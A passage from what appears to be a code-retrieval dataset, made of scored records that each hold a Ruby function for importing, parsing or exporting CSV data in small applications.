"docid": "005f5a5f322e362f239db974c221b4dd",
"score": "0.598468",
"text": "def import_from_csv(file_name)\n csv_text = File.read(file_name)\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\n # #8 iterate over the CSV::Table rows then create a hash for each row, convert each row_hash\n #to an Entry by using the add_entry method\n csv.each do |row|\n row_hash = row.to_hash\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\n end\n end",
"title": ""
},
{
"docid": "5f273b303e2ff939e2c1ca441b59c25c",
"score": "0.59363097",
"text": "def import_from_csv\n puts 'Which file would you like to import?'\n file_path = gets.chomp\n CsvImporter.new(@database, file_path).import\n puts 'Import complete.'\n rescue FileNotFoundError\n puts 'The specified file was not found.'\n rescue CsvInvalidError => e\n puts e.message\n end",
"title": ""
},
{
"docid": "1939aecd98f36102537cdeb964b70c2a",
"score": "0.5913898",
"text": "def generate_csv_file(file_path, row_data)\n CSV.open(file_path, \"wb\") do |csv|\n csv << [\"first_name\", \"last_name\", \"dob\", \"member_id\", \"effective_date\", \"expiry_date\", \"phone_number\"]\n row_data.each { |row| csv << row }\n end\nend",
"title": ""
},
{
"docid": "d568b1351a6efd785c23d5c196a8e3c7",
"score": "0.5912737",
"text": "def import_csv(csv_file)\n data, header = parse_csv(csv_file)\n validate_header(header)\n return if @rollback\n process_data(data, header)\n end",
"title": ""
},
{
"docid": "7ce8a927bf2d8be321efbf0b882a7a19",
"score": "0.5905759",
"text": "def import_from_csv(file_name)\n csv_text = File.read(file_name)\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\n # Iterate over the CSV::Table object's rows. Then create a has for each row.\n # Convert each row_hash to an entry by using add_entry method.\n csv.each do |row|\n row_hash = row.to_hash\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\n end\n end",
"title": ""
},
{
"docid": "37d3df961057f3e65a0d2edd2176f021",
"score": "0.59047204",
"text": "def reprocess_csv(file)\n raw = open(file).read.force_encoding(\"UTF-8\")\n csv = CSV.parse(raw, headers: true, header_converters: :symbol)\n csv.each do |row|\n data = row.to_hash.each { |k, v| v = v.to_s.gsub(/[[:space:]]+/, ' ').strip }\n data[:area_id] = data[:area].downcase\n data[:gender] = data[:gender].downcase\n data[:term] = '2013'\n %i(num).each { |i| data.delete i }\n ScraperWiki.save_sqlite([:name, :name, :term], data)\n end\nend",
"title": ""
},
{
"docid": "2d46e51936b3041671822ba81e1843e9",
"score": "0.59009004",
"text": "def seed_from_csv(migration_class, csv_file)\n migration_class.transaction do\n csv_file.each do |line_values|\n record = migration_class.new\n line_values.to_hash.keys.map do |attribute|\n record.send(\"#{attribute.strip}=\",line_values[attribute].strip) rescue nil\n end\n record.save(:validate => false)\n end\n end\n end",
"title": ""
},
{
"docid": "6bb8016f0c018b0baa9c3e9c90ea3a17",
"score": "0.58453894",
"text": "def parse_grades_csv(file_path)\n wait_until(Utils.long_wait) { Dir[file_path].any? }\n file = Dir[file_path].first\n sleep 2\n CSV.read(file, headers: true, header_converters: :symbol)\n end",
"title": ""
},
{
"docid": "6fe9cad8897bc05c5f44ac7292083331",
"score": "0.583765",
"text": "def import_csv_file(db, encoding, file, table)\n verbose \"Reading the header row.\"\n row_num = 0\n\n # Decide whether to get the CSV data from a file or STDIN\n if file == ''\n csv = CSV($stdin)\n if table == ''\n table = 'stdin'\n end\n else\n csv = CSV.open(file, encoding:encoding)\n end\n\n # Process each line of the CSV data\n csv.each do |row|\n # header row\n if row_num == 0\n verbose \"Columns are: #{row.inspect}\"\n\n column_defs = \"\"\n column_names = \"\"\n column_placeholders = \"\"\n\n row.each do |column|\n column_defs << \"#{column} VARCHAR, \"\n column_names << \"#{column}, \"\n column_placeholders << \"?, \"\n end\n\n # Remove the comma after last column\n column_defs.sub!(/,\\ \\Z/, '')\n column_names.sub!(/,\\ \\Z/, '')\n column_placeholders.sub!(/,\\ \\Z/, '')\n\n verbose \"Creating the #{table} table:\"\n create_table_query = \"CREATE TABLE IF NOT EXISTS #{table} (#{column_defs})\"\n verbose \"#{create_table_query};\"\n db.execute create_table_query\n\n verbose \"Prepared statement is:\"\n prepared_statement = \"INSERT INTO #{table} (#{column_names}) VALUES (#{column_placeholders})\"\n verbose \"#{prepared_statement};\"\n @insert = db.prepare(prepared_statement)\n # non-header rows\n else\n verbose \"Inserting row #{row_num}.\"\n @insert.execute(row)\n end\n row_num += 1\n end\nend",
"title": ""
},
{
"docid": "f0d5860c113f5a9cc53c261a164d3110",
"score": "0.5816349",
"text": "def parse_csv(csv_file)\n\n # Loop through all entries in CSV file\n CSV.foreach(csv_file, :quote_char => \"\\\"\") do |row|\n next if row[0] == \"From\" && row[1] == \"To\"\n next if row[0].nil?\n\n # [0, 1] refers to the 2 addresses in the csv file\n [0, 1].each do |i|\n add_location(row[i])\n end\n\n add_journey(row)\n end\nend",
"title": ""
},
{
"docid": "a6d648293289f27e1537b6b11c6d69ba",
"score": "0.5815403",
"text": "def import_from_csv(file_name)\n csv_text = File.read(file_name)\n csv = CSV.parse(csv_text, headers: true)\n # Iterate over the table object's rows\n csv.each do |row|\n # Create a hash for each row\n row_hash = row.to_hash\n # Convert each row_hash to an Entry by using add_entry method\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\n end\n\n # Get the number of items parsed by calling the count method\n return csv.count\n end",
"title": ""
},
{
"docid": "813ee3562fe2b801dca354ca9c574da8",
"score": "0.5813491",
"text": "def csv(csv_file)\n Slacker.get_csv(csv_file)\n end",
"title": ""
},
{
"docid": "a8b4ea1210aea75a161d0246e5a44204",
"score": "0.57918257",
"text": "def open_csv(file_name)\n CSV.foreach(file_name,\n :headers => true,\n :converters => :all,\n :header_converters => :symbol\n ) do |row|\n hash_row = row.to_hash # Make CSV data as hash\n # Get rid of blank cells - Putting all data into @content\n if hash_row[:product_links] != nil || hash_row[:cta_link] != nil\n @content << hash_row\n end\n end\n end",
"title": ""
},
{
"docid": "06c25b1c3dc7c1a9e062e21d3c31f7fc",
"score": "0.57917243",
"text": "def csv\n @csv_table ||= begin\n csv_raw = File.read(CSV_PATH)\n CSV.parse(csv_raw, headers: true)\n end\n\nend",
"title": ""
},
{
"docid": "bc11b2e9b9153fca3de04a1d77ad7887",
"score": "0.57812196",
"text": "def import\n CSV.foreach(@file.path, :converters => :all, :return_headers => false, :headers => :first_row) do |row|\n source, first_name, last_name, _, company, phone, *address = *row.to_hash.values\n\n street, city, state, zip, _ = *address\n address = Address.new(:street1 => street, :city => city, :state => state, :zipcode => zip)\n\n lead = Lead.new(:source => source, :first_name => first_name, :last_name => last_name,\n :company => company, :phone => phone)\n\n lead.first_name = \"FILL ME\" if lead.first_name.blank?\n lead.last_name = \"FILL ME\" if lead.last_name.blank?\n lead.access = \"Private\"\n lead.addresses << address\n\n lead.assignee = @assigned if @assigned.present?\n\n lead.save!\n end\n end",
"title": ""
},
{
"docid": "549392017829ee674e41daf3b373fcc4",
"score": "0.57666737",
"text": "def test_inserts_single_csv_address\n cma.populate_csv(\"./test/data/address.csv\")\n assert_equal 1, cma.count\n end",
"title": ""
},
{
"docid": "dd6b84985baf626fbdd2f021f35bbc26",
"score": "0.57415843",
"text": "def export_to_csv(file)\n Keybox::Convert::CSV.to_file(@db.records, file)\n hsay \"Exported #{@db.records.size} records to #{file}.\", :information\n end",
"title": ""
},
{
"docid": "6c915c4b257a714414141f7a49751904",
"score": "0.5725963",
"text": "def read_csv(file_path)\n CSV.parse(File.read(file_path), headers: true)\nend",
"title": ""
},
{
"docid": "031f4bf60bcdef19ebb01a791604d94b",
"score": "0.56929934",
"text": "def save_csv(file_path, options = {})\n require 'csv'\n default_opts = {\n headers: @field_name, write_headers: true\n }\n CSV.open(file_path, 'wb', default_opts.merge(options)) do |csv|\n @data.each{ |rec| csv << rec }\n end\n end",
"title": ""
},
{
"docid": "16ac5a8716826b678d28c4ee15dfaa56",
"score": "0.5684442",
"text": "def load_file (filename = \"students.csv\")\n CSV.foreach(filename) do |row|\n name, cohort, food = row.map{ |element| element.chomp}\n add_student(name, cohort, food)\n end\nend",
"title": ""
},
{
"docid": "2c612d566e7753f4e061f01cb1a7cb43",
"score": "0.56831056",
"text": "def load_file(model)\n model.delete_all\n record_name = model.to_s.downcase.pluralize\n record_count = 0\n CSV.foreach(\"#{Rails.root}/db/data/#{record_name}.csv\", {headers: true}) do |line|\n model.create(line.to_hash)\n record_count += 1\n end\n puts \"Created #{record_count} #{model.to_s} records.\"\n end",
"title": ""
},
{
"docid": "2250a911730ad29c832767183b3738a8",
"score": "0.5668252",
"text": "def build_from_csv( filename )\n File.open( filename ) do |file|\n print \"Reading #{filename}... \"\n\n insert_from_lines( file.readlines )\n end\n\n flush_inserts\n end",
"title": ""
},
{
"docid": "55b7ad38f38a3f9e0ddcfd907e751f28",
"score": "0.56678957",
"text": "def data(table)\n CSV.parse(%x[mdb-export CRBE.mdb #{table}])[1..-1]\nend",
"title": ""
},
{
"docid": "65c897e15e95f5c0a1919afbe5530f80",
"score": "0.5667162",
"text": "def import_csv_full\n \n end",
"title": ""
},
{
"docid": "4861b31a2aa52bcee4f08832d0c59aa2",
"score": "0.56613916",
"text": "def import\n CSV.foreach(@file.path, :converters => :all, :return_headers => false, :headers => :first_row) do |row|\n campaign_id, source, tag, created_at, first_name, last_name,\n email, phone, company, title, status, background_info, comments,\n street1, street2, city, state, zip, country = *row.to_hash.values\n\n #TODO: implement smarter_csv and/or resque\n # https://github.com/tilo/smarter_csv\n # https://github.com/resque/resque\n\n # Rails.logger.info \"XXXXXXXX created_at#{created_at}\"\n\n if @make_contact\n # Don't Allow Duplicates\n contact = Contact.find_or_initialize_by_first_name_and_last_name_and_email(\n first_name,\n last_name,\n email\n ).tap do |contact|\n contact.user_id = @assigned.id,\n contact.source = source,\n contact.first_name = first_name,\n contact.last_name = last_name,\n contact.email = email,\n contact.phone = phone,\n # contact.company = company,\n contact.title = title,\n # contact.status = status,\n contact.background_info = process_bg_info(contact.background_info, background_info),\n contact.created_at = created_at.to_time rescue Time.current\n end\n contact.save!\n\n contact.first_name = \"INCOMPLETE\" if contact.first_name.blank?\n contact.last_name = \"INCOMPLETE\" if contact.last_name.blank?\n # contact.access? = \"Private | Public\"\n contact.access = Setting.default_access\n contact.assignee = @assigned if @assigned.present?\n contact.tag_list.add(tag)\n contact.add_comment_by_user(comments, @assigned)\n\n contact.save!\n\n #TODO: Better validation on address fields.\n if zip\n contact.business_address = Address.new(:street1 => street1, :street2 => street2, :city => city, :state => state, :zipcode => zip, :country => country, :address_type => \"Business\")\n else\n puts \"INCOMPLETE ADDRESS\"\n end\n contact.save!\n\n #\n if contact.account_contact.nil?\n\n if company\n account_name = company\n else\n account_name = contact.first_name + ' ' + contact.last_name + ' (Individual)'\n end\n\n #TODO: rails 4 Account.find_or_initialize_by(name: account_name)\n account = Account.find_or_initialize_by_name(account_name).tap do |account|\n account.user_id = @assigned.id\n account.assignee = @assigned if @assigned.present?\n account.access = contact.access\n account.category = 'customer'\n end\n account.save!\n\n contact.account_contact = AccountContact.new(:account => account, :contact => contact)\n\n # Rails.logger.info \"XXXXXXXX ACCOUNT CONTACT CREATED! #{contact.account_contact.inspect}\"\n\n # contact_account = { account: { id: account.id }, access: contact.access }\n # @account, @opportunity, @contact = contact.promote(contact_account)\n # contact = Contact.find(@contact)\n end\n\n # Rails.logger.info \"XXXXXXXX CONTACT CREATED! #{contact.inspect}\"\n\n else\n\n # Allow Duplicates\n # lead = Lead.new(\n # :user_id => @assigned.id,\n # :campaign_id => campaign_id.to_i,\n # :source => source,\n # :first_name => first_name,\n # :last_name => last_name,\n # :email => email,\n # :phone => phone,\n # :company => company,\n # :title => title, :status => status,\n # :background_info => background_info,\n # :created_at => created_at.to_time\n # )\n\n\n #TODO: rails 4 Lead.find_or_initialize_by(email: email) without tap\n # Don't Allow Duplicates\n lead = Lead.find_or_initialize_by_first_name_and_last_name_and_email(\n first_name,\n last_name,\n email\n ).tap do |lead|\n lead.user_id = @assigned.id,\n lead.campaign_id = campaign_id.to_i,\n lead.source = source,\n lead.first_name = first_name,\n lead.last_name = last_name,\n lead.email = email,\n lead.phone = phone,\n lead.company = company,\n lead.title = title,\n lead.status = status,\n lead.background_info = process_bg_info(lead.background_info, background_info),\n lead.created_at = created_at.to_time rescue Time.current\n end\n lead.save!\n\n lead.first_name = \"INCOMPLETE\" if lead.first_name.blank?\n lead.last_name = \"INCOMPLETE\" if lead.last_name.blank?\n\n # lead.access? = \"Private | Public\"\n lead.access = Setting.default_access\n lead.assignee = @assigned if @assigned.present?\n lead.tag_list.add(tag)\n lead.add_comment_by_user(comments, @assigned)\n lead.save!\n\n #TODO: Better validation on address fields.\n if zip\n lead.business_address = Address.new(:street1 => street1, :street2 => street2, :city => city, :state => state, :zipcode => zip, :country => country, :address_type => \"Business\")\n else\n puts \"INCOMPLETE ADDRESS\"\n end\n lead.save!\n\n end\n end\n\n\n end",
"title": ""
},
{
"docid": "b84cdf5824f05e122a77d17047431c52",
"score": "0.56519234",
"text": "def import_cities(file)\n City.transaction do\n while (row = file.gets)\n row = row.split(/\\t/)\n \n city = City.create(\n :geoname_id => row[0], :country_id => @@countries[row[8]], :region_id => @@regions[row[10]],\n :name => row[1], :name_ascii => row[2], :lat => row[4], :lng => row[5],\n :time_zone => row[17]\n )\n end\n end\n end",
"title": ""
},
{
"docid": "f207b3b18364fc00c8a2b94324700e40",
"score": "0.5623758",
"text": "def csv_file\n if File.size? csv_filename\n CSV.read(csv_filename, headers: true, col_sep: ';', header_converters: :symbol, converters: :all)\n else\n LOGGER.error(\"File not found or empty: #{csv_filename}\")\n abort('ABORTED!')\n end\n end",
"title": ""
},
{
"docid": "06d037dc85b67bbe4a2b7ca90907f5f8",
"score": "0.56153095",
"text": "def update_summary_csv(summary_csv_path, line)\n puts \"updating summary csv: #{summary_csv_path}\"\n\n # the results row is a string rather than an array so handle as file rather than csv\n File.open(summary_csv_path, \"a+\") do |f|\n f << line\n end\nend",
"title": ""
},
{
"docid": "eb2af891985af3fcfe1e890059b704bd",
"score": "0.56120217",
"text": "def import_csv\n @records = CSV.read(@filename, :headers => true, :row_sep => :auto)\n unless @records.blank?\n @linenum = 0\n if @filename.index('att') || @filename.index('Att')\n @school_year = Time.parse(@records[0][\"AbsenceDate\"]).year\n end\n @records.each { |rec |\n @linenum += 1\n @record = rec\n next unless check_record(@record)\n seed_record(@record)\n process_record(@record, rec2attrs(@record)) if rec2attrs(@record) != false\n }\n end \n end",
"title": ""
},
{
"docid": "98a89622141dc1afb241347664429106",
"score": "0.56074333",
"text": "def loadCSVFile(filePath)\n data = []\n CSV.foreach(filePath, :headers => true) do |row|\n row = row.to_h\n row.each do |k, v|\n v = v.to_s\n row[k] = v\n end\n data << row\n end\n data\n end",
"title": ""
},
{
"docid": "1c675bba813409b6e18f1f79b9bf976c",
"score": "0.5593927",
"text": "def print_id\n contacts = CSV.read(@@file_path)\n end",
"title": ""
},
{
"docid": "a8cbeda40ecafae56e9239168cc516a1",
"score": "0.5592142",
"text": "def import_csv_smart\n \n end",
"title": ""
},
{
"docid": "9fcf89bd8ba2b33eef40684304051fac",
"score": "0.55885684",
"text": "def get_all_addresses\n response = []\n\n CSV.foreach(FILE_NAME) do |row|\n response << row[0]\n end\n\n response\nend",
"title": ""
},
{
"docid": "ae0b2f75f39f6d4112b056db333c2e50",
"score": "0.55876994",
"text": "def datat_read\n \n #Read in the csv file\n @@datat_array = CSV.read(@@datat_path_specific)\n \n #Delete the row which contains the database title.\n @@datat_array.delete_at(0)\n \n ######################################\n #puts @@datat_array[2]\n #Verify the conversion has taken place\n #puts @database + \" CSV file converted\"\n ######################################\n \n end",
"title": ""
},
{
"docid": "7c6f08607e8863f95bff1ff55e7188fa",
"score": "0.55808276",
"text": "def read_csv(file)\n reading_list = []\n CSV.foreach(file, :headers => true) do |row|\n reading_list << Book.new({\n 'book_title' => row['book_title'],\n 'isbn' => row['isbn'],\n 'description' => row['description'],\n 'read_date' => row['read_date']\n })\n end\n reading_list\nend",
"title": ""
},
{
"docid": "afbf12f04f2dfe22153b8cc5cfb8dd6c",
"score": "0.5561635",
"text": "def readCSV( file )\n\n data = []\n\n CSV.new( open( \"https://docs.google.com/spreadsheets/d/1uTnHOsDCHwvxmxX41sxCsZDnkPNj_7ImUGYQb3yEMjo/export?format=csv&gid=1137121615\" ) ).each_with_index do | row, row_index |\n # CSV.foreach( file, headers: true ) do | row |\n data << row\n end\n\n return data\n\n end",
"title": ""
},
{
"docid": "cd520be29c18a87d7919466f1317e265",
"score": "0.5559388",
"text": "def save_csv_to_file(filename = \"resources/validators/csv/#{(URI(url).host + URI(url).path).gsub(%r{[./]}, '_')}.csv\")\n CSV.open(filename, 'wb') do |csv|\n valueset.each do |code|\n csv << [code[:system], code[:code]]\n end\n end\n end",
"title": ""
},
{
"docid": "778db4c2d0a0ed5936c1c7341fd6da58",
"score": "0.5553827",
"text": "def import_cities\n City.destroy_all\n print_title('importing cities')\n File.open 'db/2_sql_insert_city.sql', 'r' do |file|\n while row = file.gets\n row.strip!\n columns = /.+\\(\\d+,'(\\d+)','(.+)','(\\d+)'\\)/.match(row)\n code = columns[1]\n name = columns[2]\n province_code = columns[3]\n city = City.create(code: code, name: name, province_code: province_code)\n print_content \"imported city: #{city.id}, #{city.code}, #{city.name}, #{city.province_code}\"\n end\n end\n print_summary \"total imported cities count: #{City.count}\"\nend",
"title": ""
},
{
"docid": "e9af4959d3a0728b01fef77e9c5d4006",
"score": "0.5551888",
"text": "def process_file(path)\n CSV.open(path, {:headers => true}) do |csv|\n csv.each do |row|\n res = cached_lookup(row['X'].to_f, row['Y'].to_f)\n puts \"#{res[:lng]},#{res[:lat]},#{res[:neighborhood]}\"\n end\n end\n end",
"title": ""
},
{
"docid": "88c24e6f0bf0749d577f27c3b09c024f",
"score": "0.553814",
"text": "def read_csv(csv_file, data)\n logger.info \"Reading #{data.type} data from '#{csv_file} date column = #{@date_column} data starts at col #{@data_start_column} skipping #{@header_rows} header rows\"\n lines = File.readlines(csv_file)\n (@header_rows...lines.length).each do |i|\n reading = lines[i].split(',')\n begin\n date = Date.parse(reading[@date_column])\n rowdata = reading[@data_start_column, @data_start_column + 47].map(&:to_f)\n data.add(date, rowdata)\n rescue StandardError => e\n logger.warn e.message\n logger.warn e.backtrace.join(\"\\n\")\n logger.warn \"Unable to read data on line #{i} of file #{csv_file} date value #{reading[@date_column]}\"\n end\n end\n logger.info \"Read hash #{data.length} rows\"\n end",
"title": ""
},
{
"docid": "669ee8a565b453a1442c4ebff25ba149",
"score": "0.55308783",
"text": "def import_from_csv(file_name)\n csv_text = File.read(file_name)\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\n # Iterate over the CSV::Table object's rows, create a string for each row, and convert each row to a Client by using the create_client method.\n csv.each do |row|\n name, facebook_id, twitter_handle = row.to_s.split(\",\").map(&:chomp)\n create_client(name, facebook_id, twitter_handle)\n end\n end",
"title": ""
},
{
"docid": "2380e6990c842289a0d5d8e2ab406759",
"score": "0.5526797",
"text": "def loadCSV\n csvFile = File.open(\"app/assets/csv/test.csv\", \"r\") #Open file with readpermissions\n if csvFile #if file was successfully opened \n csvRowArray = IO.readlines(csvFile) # Turn each row into an array element\n rowId=1 #0 is the Header Row, 1 is the first dataset.\n recordsArray = Array.new(csvRowArray.size-1)\n while csvRowArray[rowId] do #for each row that exists \n rowEntry = csvRowArray[rowId]\n rowEntry.gsub!(/\"/,'') # Remove all the '\"'s\n wordArr = rowEntry.split(\",\") #Split the array on ','s into a new array \n newRecord = Record.new\n newRecord.REF_DATE = wordArr[0]\n newRecord.GEO = wordArr[1]\n newRecord.DGUID = wordArr[2]\n newRecord.Sex = wordArr[3]\n newRecord.Age_group = wordArr[4]\n newRecord.Student_response = wordArr[5]\n newRecord.UOM = wordArr[6]\n newRecord.UOM_ID = wordArr[7]\n newRecord.SCALAR_FACTOR = wordArr[8]\n newRecord.SCALAR_ID = wordArr[9]\n newRecord.VECTOR = wordArr[10]\n newRecord.COORDINATE = wordArr[11]\n newRecord.VALUE = wordArr[12]\n newRecord.STATUS = wordArr[13]\n newRecord.SYMBOL = wordArr[14]\n newRecord.TERMINATED = wordArr[15]\n newRecord.DECIMALS = wordArr[16]\n newRecord.save\n puts rowId\n rowId = rowId+1 \n end\n return recordsArray\n else #file not opened\n puts \"Unable to open file\" \n return \n end \n end",
"title": ""
},
{
"docid": "ab5ce53ab2823c962c01c98b49310b9f",
"score": "0.55118036",
"text": "def read_csv_file(csv_table_path)\r\n \r\n table_dimensions = detect_state_table_dim(csv_table_path)\r\n \r\n if table_dimensions==:one_d\r\n return read_1d_csv_file(csv_table_path)\r\n elsif table_dimensions==:two_d\r\n return read_2d_csv_file(csv_table_path)\r\n else\r\n raise \"Error: CSV File dimensions: #{table_dimensions}\"\r\n end # end if else \r\n \r\n end",
"title": ""
},
{
"docid": "74820f76aeabbe0a017f004a5aa38d62",
"score": "0.55055684",
"text": "def file=(value)\n @file = value\n csv\n @file\n end",
"title": ""
},
{
"docid": "4bb1cbfaf7bc0412572eff450752628b",
"score": "0.5504189",
"text": "def csv_uploader(infile, organisationid)\n require 'csv'\n require 'timeout'\n# counter = 1\n begin \n CSV.parse(infile).drop(1).each do |row| \n# puts \"************************************\"\n# puts \"Started reading #{counter} row and inserting row in the table\"\n Customer.customer_build_from_csv(row, organisationid) \n# puts \"Ended the process of inserting #{counter} row in the table\"\n# puts \"************************************\"\n# counter += 1 \n end \n rescue\n retry\n# puts \"*****************************************\"\n# puts \"Anup got timeout error\"\n# puts \"*****************************************\" \n end\n end",
"title": ""
},
{
"docid": "5c1b8db8e7eba2e9ba52297536503781",
"score": "0.55018747",
"text": "def csv_import(the_file)\n import_list = []\n CSV.foreach(the_file, headers: true) do |row|\n import_list << row.to_hash\n end\n import_list\n end",
"title": ""
},
{
"docid": "ec6877da726fd95ba220618fef5e2c4e",
"score": "0.5492979",
"text": "def get_csv_data(csv_file)\n\t\tcsv_file = File.read(csv_file)\n\t\tcsv = CSV.parse(csv_file, :headers => true)\t\n\t\tcsv\n\tend",
"title": ""
},
{
"docid": "6a1637ce0d4ae7b1408d0196dc320be5",
"score": "0.54890156",
"text": "def\tparse_file\n CSV.foreach(@file) do |row|\n begin\n rid, price, item = row[0].strip.to_i, row[1].strip.to_f, row[2..-1].map(&:strip).join('-').downcase\n validate(rid, price, item) ? load(rid, price, item) : puts(\"Escaping invalid row: #{row}\")\n rescue StandardError \n puts \"Escaping incorrect row: #{row}\"\n end\n end\n end",
"title": ""
},
{
"docid": "aa46d8a8d5f6b673b8be31520ccc1084",
"score": "0.54830945",
"text": "def load_raw_data(klass, csv_file_path)\n\t\tCSV::Converters[:blank_to_nil] = lambda do |field|\n\t\t field && field.empty? ? nil : field\n\t\tend\n\n\t\tputs \"Loading data from #{csv_file_path}\"\n\n\t\tprogress = ProgressBar.create(:title => klass.name, :starting_at => 0, :total => nil, :format => \"%t: Records: %c Elapsed %a Records/second: %r %b\")\n\t\tcount = 0\n\n\t\tbegin\n\t\t\tFile.open(csv_file_path, 'r') do |f|\n\t\t\t\theaders = nil\n\t\t\t\trows = []\n\n\t\t\t\tf.each_with_index do |row, i| \n\t\t\t\t\tbegin\n\t\t\t\t\t\t# The first 4 lines are comments and the 5th are column labels we don't use; skip them\n\t\t\t\t\t\tnext if i < 5\n\n\t\t\t\t\t\t# The last row is a 'footer', delimited with 'F'\n\t\t\t\t\t\tnext if row.starts_with? \"F \"\n\n\t\t\t\t\t\t# I know it's weird, we parse CSV only to generate CSV again, but it's to canonicalize the CSV into a form PG\n\t\t\t\t\t\t# can use, since some of the input data are, shall we say, sloppy.\n\t\t\t\t\t\trows << try_parse_csv(row).to_csv\n\n\t\t\t\t\t\tif (rows.count == ROWS_PER_BATCH) \n\t\t\t\t\t\t\tcopy_rows klass.connection, klass.table_name, rows\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tprogress.increment\n\t\t\t\t\t\tcount += 1\n\n\t\t\t\t\trescue Exception => e\n\t\t\t\t\t\tprogress.log \"#{csv_file_path}:#{i+1}: #{e.inspect}\"\n\t\t\t\t\t\tprogress.log \"Rows contents: \"\n\t\t\t\t\t\tprogress.log \" #{rows}\"\n\t\t\t\t\t\traise e\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# Any remaining rows, write now\n\t\t\t\tcopy_rows klass.connection, klass.table_name, rows\n\t\t\tend\n\n\t\t\tprogress.total = count\n\t\trescue Exception => e\n\t\t\tprogress.stop\n\t\t\traise e\n\t\tend\n\n\t\tprogress.finish\n\n\t\tputs \"Loaded #{count} records\"\n\tend",
"title": ""
},
{
"docid": "3a0090027de4a9b12487230c3bede125",
"score": "0.5481741",
"text": "def data_file\n @data_file ||= CSV.foreach(@data_path, headers: true, converters: :numeric)\n end",
"title": ""
},
{
"docid": "3a382a41bb01c92a37599f6d8a499cfa",
"score": "0.5472314",
"text": "def process_CSV_file(file, _total_lines = 0, charset = 'bom|utf-8')\n start_time = Time.now.to_i # setting up time keeping\n ActiveRecord::Base.transaction do\n SmarterCSV.process(file, chunk_size: 10, verbose: true, file_encoding: charset.to_s) do |file_chunk|\n file_chunk.each do |record_row|\n sanitized_row = sanitize_row(record_row)\n process_record_row(sanitized_row, {})\n @counter << sanitized_row # appends in latest record to allow error to report where import failed\n ### CallingActorInUpdater feeding it the this (the current) actor.\n @updater_actor.run(Celluloid::Actor.current) unless @updater_actor.nil?\n @counter\n end\n end\n # finishing up time keeping and reporting:\n total_count = @counter.size\n end_time = Time.now.to_i\n total_count_hash = { total_lines: total_count, time: ((end_time - start_time) / 60).round(2) }\n puts \"\\033[32m#{total_count_hash}\\033[0m\\n\" # green\n @exit_status = 0\n @result = total_count_hash\n end\n ensure\n # on CSV::MalformedCSVError # something gets said\n @updater_actor.terminate unless @updater_actor.nil?\n end",
"title": ""
},
{
"docid": "34e42ab09d334aee25ba1a2629bbd461",
"score": "0.54627126",
"text": "def parse_csv(file)\n\t\tdata = []\n\t\t# Break open CSV and go through rows\n\t\tbegin\n\t\t\tdata = CSV.read(file, :headers => true,:skip_blanks => true,:header_converters => :symbol, :encoding => 'UTF-8')\n\t\trescue\n\t\t\t# Convert to UTF-8 if necessary\n\t\t\tdata = CSV.read(file, :headers => true,:skip_blanks => true,:header_converters => :symbol, :encoding => 'Windows-1252:UTF-8')\n\t\tend\n\t\tdata\n\tend",
"title": ""
},
{
"docid": "c865ed0b24eb565d302d7411f1f7c42a",
"score": "0.5462033",
"text": "def import\n csv = CSV.parse(file, headers: true)\n ActiveRecord::Base.transaction do\n csv.each do |product|\n begin\n category = Category.find_or_create_by(title: product[1])\n product_obj = Product.find_or_create_by(pid: product[0])\n product_obj.update(name: product[2], price: product[3].to_i, category_id: category.id)\n rescue => e\n Rails.logger.error \"Error: Error in creating following products - #{product.inspect} - #{e.message} - #{e.backtrace.join(\"\\n\")}\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "89b4d15b973fb3f158c214aba2e9a075",
"score": "0.54617274",
"text": "def load_contacts\r\n CSV.open('contacts.csv', 'r').readlines.each{|file| file}\r\n end",
"title": ""
},
{
"docid": "0adf98dce1e0250b269ef33782fc7bd9",
"score": "0.5461176",
"text": "def index_csv(data_path, db_path)\n db = Xapian::WritableDatabase.new(db_path, Xapian::DB_CREATE_OR_OPEN)\n term_generator = Xapian::TermGenerator.new\n term_generator.stemmer = Xapian::Stem.new('en')\n parse_csv_file(data_path).each do |row|\n doc = Xapian::Document.new\n term_generator.document = doc\n term_generator.index_text(row['TITLE'].to_s, 1, 'S')\n term_generator.index_text(row['DESCRIPTION'].to_s, 1, 'XD')\n term_generator.index_text(row['TITLE'].to_s)\n term_generator.increase_termpos\n term_generator.index_text(row['DESCRIPTION'].to_s)\n doc.data = row.to_h.to_json\n idterm = \"Q#{row['id_NUMBER']}\"\n doc.add_boolean_term(idterm)\n db.replace_document(idterm, doc)\n end\nend",
"title": ""
},
{
"docid": "84e6d284b4ac65cc1a04d736c43a8716",
"score": "0.5439301",
"text": "def open_csv(table)\n command = \"mdb-export -bstrip -D '%F %T' -d #{Shellwords.escape(delimiter)} #{file_name} #{table}\"\n Open3.popen3(command) do |stdin, stdout, stderr|\n yield CSV.new(stdout, col_sep: delimiter)\n end\n end",
"title": ""
},
{
"docid": "e091e87a2c063b15df6c2f65c5956ce2",
"score": "0.54292214",
"text": "def initialize(file, options = {})\n @rows = []\n opts = { row_sep: \"\\n\", col_sep: ',', skip_blanks: true }.merge(options)\n CSV(file, opts) do |csv|\n csv.each do |r|\n @rows.push(r)\n end\n end\n @column_index = {\n name: 3, route: 4, city: 5, state: 6, zip: 7, td_linx_code: 8\n }\n end",
"title": ""
},
{
"docid": "5c359cdd351f8215d3611b3ae28e982a",
"score": "0.5413208",
"text": "def import_csv(file, current_user, replace=false)\n\n # users first...\n created_user_ids = []\n updated_user_ids = []\n user_errors = {}\n\n # if replacing entire database, delete all users not matching the current user\n User.where.not(id: current_user.id).delete_all if replace\n\n CSV.foreach(file.path, headers: true) do |row|\n row_hash = row.to_hash\n\n # check for child - if child, skip, otherwise delete so it doesn't mess up creation\n next unless !row_hash['child'] || (row_hash['child'].downcase == 'false')\n row_hash.delete 'child'\n\n # update date formats to correct the CSV export format\n if !row_hash['birthday'].blank?\n date = DateTime.strptime(row_hash['birthday'], '%m/%d/%y') rescue nil\n if date\n birthday_formatted = date.strftime('%Y-%m-%d').to_s\n row_hash['birthday'] = birthday_formatted\n end\n end\n\n # don't allow the current user to get messed with\n if row_hash['id'] == current_user.id || row_hash['email'].strip == current_user.email\n user_errors[:matching_current_user] = [current_user.full_name]\n else\n user = 